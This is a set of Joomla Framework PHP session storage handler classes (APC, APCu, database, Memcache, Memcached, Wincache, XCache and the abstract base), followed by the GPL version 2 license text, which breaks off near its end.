 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Session\Storage;

use Joomla\Session\Storage;

/**
 * APC session storage handler for PHP
 *
 * @link       
https://www.php.net/manual/en/function.session-set-save-handler.php
 * @since       1.0
 * @deprecated  2.0  The Storage class chain will be removed.
 */
class Apc extends Storage
{
	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 * @deprecated  2.0
	 */
	public function __construct($options = array())
	{
		if (!self::isSupported())
		{
			throw new \RuntimeException('APC Extension is not available',
404);
		}

		parent::__construct($options);
	}

	/**
	 * Read the data for a particular session identifier from the
	 * SessionHandler backend.
	 *
	 * @param   string  $id  The session identifier.
	 *
	 * @return  string  The session data.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function read($id)
	{
		$sess_id = 'sess_' . $id;

		return (string) apc_fetch($sess_id);
	}

	/**
	 * Write session data to the SessionHandler backend.
	 *
	 * @param   string  $id            The session identifier.
	 * @param   string  $session_data  The session data.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function write($id, $session_data)
	{
		$sess_id = 'sess_' . $id;

		return apc_store($sess_id, $session_data,
ini_get('session.gc_maxlifetime'));
	}

	/**
	 * Destroy the data for a particular session identifier in the
SessionHandler backend.
	 *
	 * @param   string  $id  The session identifier.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function destroy($id)
	{
		$sess_id = 'sess_' . $id;

		return apc_delete($sess_id);
	}

	/**
	 * Test to see if the SessionHandler is available.
	 *
	 * @return boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public static function isSupported()
	{
		return \extension_loaded('apc');
	}
}
<?php
/**
 * Part of the Joomla Framework Session Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Session\Storage;

use Joomla\Session\Storage;

/**
 * APCU session storage handler for PHP
 *
 * @link       
https://www.php.net/manual/en/function.session-set-save-handler.php
 * @since       1.4.0
 * @deprecated  2.0  The Storage class chain will be removed.
 */
class Apcu extends Storage
{
	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters
	 *
	 * @since   1.4.0
	 * @throws  \RuntimeException
	 */
	public function __construct($options = array())
	{
		if (!self::isSupported())
		{
			throw new \RuntimeException('APCU Extension is not available',
404);
		}

		parent::__construct($options);
	}

	/**
	 * Read the data for a particular session identifier from the
	 * SessionHandler backend.
	 *
	 * @param   string  $id  The session identifier.
	 *
	 * @return  string  The session data.
	 *
	 * @since   1.4.0
	 */
	public function read($id)
	{
		$sess_id = 'sess_' . $id;

		return (string) apcu_fetch($sess_id);
	}

	/**
	 * Write session data to the SessionHandler backend.
	 *
	 * @param   string  $id            The session identifier.
	 * @param   string  $session_data  The session data.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.4.0
	 */
	public function write($id, $session_data)
	{
		$sess_id = 'sess_' . $id;

		return apcu_store($sess_id, $session_data,
ini_get('session.gc_maxlifetime'));
	}

	/**
	 * Destroy the data for a particular session identifier in the
SessionHandler backend.
	 *
	 * @param   string  $id  The session identifier.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.4.0
	 */
	public function destroy($id)
	{
		$sess_id = 'sess_' . $id;

		return apcu_delete($sess_id);
	}

	/**
	 * Test to see if the SessionHandler is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.4.0
	 */
	public static function isSupported()
	{
		return \extension_loaded('apcu');
	}
}
<?php
/**
 * Part of the Joomla Framework Session Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Session\Storage;

use Joomla\Database\DatabaseDriver;
use Joomla\Session\Storage;

/**
 * Database session storage handler for PHP
 *
 * @link       
https://www.php.net/manual/en/function.session-set-save-handler.php
 * @since       1.0
 * @deprecated  2.0  The Storage class chain will be removed
 */
class Database extends Storage
{
	/**
	 * The DatabaseDriver to use when querying.
	 *
	 * @var    DatabaseDriver
	 * @since  1.0
	 * @deprecated  2.0
	 */
	protected $db;

	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters. A `dbo` options is
required.
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 * @deprecated  2.0
	 */
	public function __construct($options = array())
	{
		if (isset($options['db']) && ($options['db']
instanceof DatabaseDriver))
		{
			parent::__construct($options);
			$this->db = $options['db'];
		}
		else
		{
			throw new \RuntimeException(
				sprintf('The %s storage engine requires a `db` option that is an
instance of Joomla\\Database\\DatabaseDriver.', __CLASS__)
			);
		}
	}

	/**
	 * Read the data for a particular session identifier from the
SessionHandler backend.
	 *
	 * @param   string  $id  The session identifier.
	 *
	 * @return  string  The session data.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function read($id)
	{
		try
		{
			// Get the session data from the database table.
			$query = $this->db->getQuery(true);
			$query->select($this->db->quoteName('data'))
				->from($this->db->quoteName('#__session'))
				->where($this->db->quoteName('session_id') . '
= ' . $this->db->quote($id));

			$this->db->setQuery($query);

			return (string) $this->db->loadResult();
		}
		catch (\Exception $e)
		{
			return false;
		}
	}

	/**
	 * Write session data to the SessionHandler backend.
	 *
	 * @param   string  $id    The session identifier.
	 * @param   string  $data  The session data.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function write($id, $data)
	{
		try
		{
			$query = $this->db->getQuery(true);
			$query->update($this->db->quoteName('#__session'))
				->set($this->db->quoteName('data') . ' = '
. $this->db->quote($data))
				->set($this->db->quoteName('time') . ' = '
. $this->db->quote((int) time()))
				->where($this->db->quoteName('session_id') . '
= ' . $this->db->quote($id));

			// Try to update the session data in the database table.
			$this->db->setQuery($query);

			if (!$this->db->execute())
			{
				return false;
			}

			// Since $this->db->execute did not throw an exception the query
was successful.
			// Either the data changed, or the data was identical. In either case we
are done.

			return true;
		}
		catch (\Exception $e)
		{
			return false;
		}
	}

	/**
	 * Destroy the data for a particular session identifier in the
SessionHandler backend.
	 *
	 * @param   string  $id  The session identifier.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function destroy($id)
	{
		try
		{
			$query = $this->db->getQuery(true);
			$query->delete($this->db->quoteName('#__session'))
				->where($this->db->quoteName('session_id') . '
= ' . $this->db->quote($id));

			// Remove a session from the database.
			$this->db->setQuery($query);

			return (boolean) $this->db->execute();
		}
		catch (\Exception $e)
		{
			return false;
		}
	}

	/**
	 * Garbage collect stale sessions from the SessionHandler backend.
	 *
	 * @param   integer  $lifetime  The maximum age of a session.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function gc($lifetime = 1440)
	{
		// Determine the timestamp threshold with which to purge old sessions.
		$past = time() - $lifetime;

		try
		{
			$query = $this->db->getQuery(true);
			$query->delete($this->db->quoteName('#__session'))
				->where($this->db->quoteName('time') . ' <
' . $this->db->quote((int) $past));

			// Remove expired sessions from the database.
			$this->db->setQuery($query);

			return (boolean) $this->db->execute();
		}
		catch (\Exception $e)
		{
			return false;
		}
	}
}
<?php
/**
 * Part of the Joomla Framework Session Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Session\Storage;

use Joomla\Session\Storage;

/**
 * Memcache session storage handler for PHP
 *
 * @since       1.0
 * @deprecated  2.0  The Storage class chain will be removed
 */
class Memcache extends Storage
{
	/**
	 * Container for server data
	 *
	 * @var    array
	 * @since  1.0
	 * @deprecated  2.0
	 */
	protected $_servers = array();

	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters.
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 * @deprecated  2.0
	 */
	public function __construct($options = array())
	{
		if (!self::isSupported())
		{
			throw new \RuntimeException('Memcache Extension is not
available', 404);
		}

		// This will be an array of loveliness
		// @todo: multiple servers
		$this->_servers = array(
			array(
				'host' =>
isset($options['memcache_server_host']) ?
$options['memcache_server_host'] : 'localhost',
				'port' =>
isset($options['memcache_server_port']) ?
$options['memcache_server_port'] : 11211,
			),
		);

		parent::__construct($options);
	}

	/**
	 * Register the functions of this class with PHP's session handler
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function register()
	{
		if (!headers_sent())
		{
			ini_set('session.save_path',
$this->_servers[0]['host'] . ':' .
$this->_servers[0]['port']);
			ini_set('session.save_handler', 'memcache');
		}
	}

	/**
	 * Test to see if the SessionHandler is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public static function isSupported()
	{
		return \extension_loaded('memcache') &&
class_exists('Memcache');
	}
}
<?php
/**
 * Part of the Joomla Framework Session Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Session\Storage;

use Joomla\Session\Storage;

/**
 * Memcached session storage handler for PHP
 *
 * @since       1.0
 * @deprecated  2.0  The Storage class chain will be removed
 */
class Memcached extends Storage
{
	/**
	 * Container for server data
	 *
	 * @var    array
	 * @since  1.0
	 * @deprecated  2.0
	 */
	protected $_servers = array();

	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters.
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 * @deprecated  2.0
	 */
	public function __construct($options = array())
	{
		if (!self::isSupported())
		{
			throw new \RuntimeException('Memcached Extension is not
available', 404);
		}

		// This will be an array of loveliness
		// @todo: multiple servers
		$this->_servers = array(
			array(
				'host' =>
isset($options['memcache_server_host']) ?
$options['memcache_server_host'] : 'localhost',
				'port' =>
isset($options['memcache_server_port']) ?
$options['memcache_server_port'] : 11211,
			),
		);

		// Only construct parent AFTER host and port are sent, otherwise when
register is called this will fail.
		parent::__construct($options);
	}

	/**
	 * Register the functions of this class with PHP's session handler
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function register()
	{
		if (!headers_sent())
		{
			ini_set('session.save_path',
$this->_servers[0]['host'] . ':' .
$this->_servers[0]['port']);
			ini_set('session.save_handler', 'memcached');
		}
	}

	/**
	 * Test to see if the SessionHandler is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public static function isSupported()
	{
		/*
		 * GAE and HHVM have both had instances where Memcached the class was
defined but no extension was loaded.
		 * If the class is there, we can assume it works.
		 */
		return class_exists('Memcached');
	}
}
<?php
/**
 * Part of the Joomla Framework Session Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Session\Storage;

use Joomla\Session\Storage;

/**
 * Default PHP configured session handler for Joomla!
 *
 * @link       
https://www.php.net/manual/en/function.session-set-save-handler.php
 * @since       1.0
 * @deprecated  2.0  The Storage class chain will be removed
 */
class None extends Storage
{
	/**
	 * Register the functions of this class with PHP's session handler
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function register()
	{
	}
}
<?php
/**
 * Part of the Joomla Framework Session Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Session\Storage;

use Joomla\Session\Storage;

/**
 * WINCACHE session storage handler for PHP
 *
 * @since       1.0
 * @deprecated  2.0  The Storage class chain will be removed
 */
class Wincache extends Storage
{
	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters.
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 * @deprecated  2.0
	 */
	public function __construct($options = array())
	{
		if (!self::isSupported())
		{
			throw new \RuntimeException('Wincache Extension is not
available', 404);
		}

		parent::__construct($options);
	}

	/**
	 * Register the functions of this class with PHP's session handler
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function register()
	{
		if (!headers_sent())
		{
			ini_set('session.save_handler', 'wincache');
		}
	}

	/**
	 * Test to see if the SessionHandler is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public static function isSupported()
	{
		return \extension_loaded('wincache') &&
\function_exists('wincache_ucache_get') &&
!strcmp(ini_get('wincache.ucenabled'), '1');
	}
}
<?php
/**
 * Part of the Joomla Framework Session Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Session\Storage;

use Joomla\Session\Storage;

/**
 * XCache session storage handler
 *
 * @since       1.0
 * @deprecated  2.0  The Storage class chain will be removed
 */
class Xcache extends Storage
{
	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters.
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 * @deprecated  2.0
	 */
	public function __construct($options = array())
	{
		if (!self::isSupported())
		{
			throw new \RuntimeException('XCache Extension is not
available', 404);
		}

		parent::__construct($options);
	}

	/**
	 * Read the data for a particular session identifier from the
SessionHandler backend.
	 *
	 * @param   string  $id  The session identifier.
	 *
	 * @return  string  The session data.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function read($id)
	{
		$sess_id = 'sess_' . $id;

		// Check if id exists
		if (!xcache_isset($sess_id))
		{
			return '';
		}

		return (string) xcache_get($sess_id);
	}

	/**
	 * Write session data to the SessionHandler backend.
	 *
	 * @param   string  $id            The session identifier.
	 * @param   string  $session_data  The session data.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function write($id, $session_data)
	{
		$sess_id = 'sess_' . $id;

		return xcache_set($sess_id, $session_data,
ini_get('session.gc_maxlifetime'));
	}

	/**
	 * Destroy the data for a particular session identifier in the
SessionHandler backend.
	 *
	 * @param   string  $id  The session identifier.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function destroy($id)
	{
		$sess_id = 'sess_' . $id;

		if (!xcache_isset($sess_id))
		{
			return true;
		}

		return xcache_unset($sess_id);
	}

	/**
	 * Test to see if the SessionHandler is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public static function isSupported()
	{
		return \extension_loaded('xcache');
	}
}
<?php
/**
 * Part of the Joomla Framework Session Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Session;

use Joomla\Filter\InputFilter;

/**
 * Custom session storage handler for PHP
 *
 * @link       
https://www.php.net/manual/en/function.session-set-save-handler.php
 * @since       1.0
 * @deprecated  2.0  The Storage class chain will be removed.
 */
abstract class Storage
{
	/**
	 * @var    Storage[]  Storage instances container.
	 * @since  1.0
	 * @deprecated  2.0
	 */
	protected static $instances = array();

	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function __construct($options = array())
	{
		$this->register($options);
	}

	/**
	 * Returns a session storage handler object, only creating it if it
doesn't already exist.
	 *
	 * @param   string  $name     The session store to instantiate
	 * @param   array   $options  Array of options
	 *
	 * @return  Storage
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public static function getInstance($name = 'none', $options =
array())
	{
		$filter = new InputFilter;
		$name   = strtolower($filter->clean($name, 'word'));

		if (empty(self::$instances[$name]))
		{
			$class = '\\Joomla\\Session\\Storage\\' . ucfirst($name);

			if (!class_exists($class))
			{
				$path = __DIR__ . '/storage/' . $name . '.php';

				if (file_exists($path))
				{
					require_once $path;
				}
				else
				{
					// No attempt to die gracefully here, as it tries to close the
non-existing session
					exit('Unable to load session storage class: ' . $name);
				}
			}

			self::$instances[$name] = new $class($options);
		}

		return self::$instances[$name];
	}

	/**
	 * Register the functions of this class with PHP's session handler
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function register()
	{
		if (!headers_sent())
		{
			session_set_save_handler(
				array($this, 'open'),
				array($this, 'close'),
				array($this, 'read'),
				array($this, 'write'),
				array($this, 'destroy'),
				array($this, 'gc')
			);
		}
	}

	/**
	 * Open the SessionHandler backend.
	 *
	 * @param   string  $save_path     The path to the session object.
	 * @param   string  $session_name  The name of the session.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function open($save_path, $session_name)
	{
		return true;
	}

	/**
	 * Close the SessionHandler backend.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function close()
	{
		return true;
	}

	/**
	 * Read the data for a particular session identifier from the
	 * SessionHandler backend.
	 *
	 * @param   string  $id  The session identifier.
	 *
	 * @return  string  The session data.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function read($id)
	{
		return '';
	}

	/**
	 * Write session data to the SessionHandler backend.
	 *
	 * @param   string  $id            The session identifier.
	 * @param   string  $session_data  The session data.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function write($id, $session_data)
	{
		return true;
	}

	/**
	 * Destroy the data for a particular session identifier in the
	 * SessionHandler backend.
	 *
	 * @param   string  $id  The session identifier.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function destroy($id)
	{
		return true;
	}

	/**
	 * Garbage collect stale sessions from the SessionHandler backend.
	 *
	 * @param   integer  $maxlifetime  The maximum age of a session.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public function gc($maxlifetime = null)
	{
		return true;
	}

	/**
	 * Test to see if the SessionHandler is available.
	 *
	 * @return  boolean  True on success, false otherwise.
	 *
	 * @since   1.0
	 * @deprecated  2.0
	 */
	public static function isSupported()
	{
		return true;
	}
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
